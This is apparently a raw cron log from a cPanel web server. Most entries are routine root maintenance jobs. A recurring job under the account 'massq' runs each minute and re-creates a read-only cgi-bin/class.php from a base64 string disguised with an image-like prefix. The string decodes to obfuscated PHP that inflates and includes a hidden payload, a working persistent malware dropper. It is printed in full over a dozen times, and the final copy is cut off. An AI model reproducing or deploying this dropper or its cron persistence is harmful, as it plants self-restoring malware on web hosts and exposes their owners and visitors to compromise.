Sep  7 05:55:01 server CROND[15458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:56:01 server CROND[16387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:56:01 server CROND[16388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:56:01 server CROND[16389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:57:01 server CROND[16780]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:57:01 server CROND[16781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:57:01 server CROND[16782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:57:01 server CROND[16783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:58:01 server CROND[17173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:58:01 server CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:58:01 server CROND[17175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:59:01 server CROND[17561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:59:01 server CROND[17562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:59:01 server CROND[17563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:00:01 server CROND[17953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:00:01 server CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  7 06:00:01 server CROND[17958]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:00:01 server CROND[17961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:00:01 server CROND[17963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:00:01 server CROND[17962]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 06:00:01 server CROND[17960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:00:01 server CROND[17957]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 06:00:01 server CROND[17959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:00:01 server CROND[17964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:00:01 server CROND[17965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:01:01 server CROND[18949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:01:01 server CROND[18951]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 06:01:01 server CROND[18952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:01:01 server CROND[18950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:01:01 server run-parts(/etc/cron.hourly)[18951]: starting 0anacron
Sep  7 06:01:01 server run-parts(/etc/cron.hourly)[18972]: finished 0anacron
Sep  7 06:02:01 server CROND[19360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:02:01 server CROND[19361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:02:01 server CROND[19362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:03:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:03:01 server CROND[19865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:03:01 server CROND[19867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:04:01 server CROND[20406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:04:01 server CROND[20407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:04:01 server CROND[20408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:05:01 server CROND[20803]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:05:01 server CROND[20805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:05:01 server CROND[20817]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:05:01 server CROND[20820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:05:01 server CROND[20823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:05:01 server CROND[20819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:05:01 server CROND[20824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:05:01 server CROND[20821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:06:01 server CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:06:01 server CROND[21749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:06:01 server CROND[21750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:07:01 server CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:07:01 server CROND[22136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:07:01 server CROND[22137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJi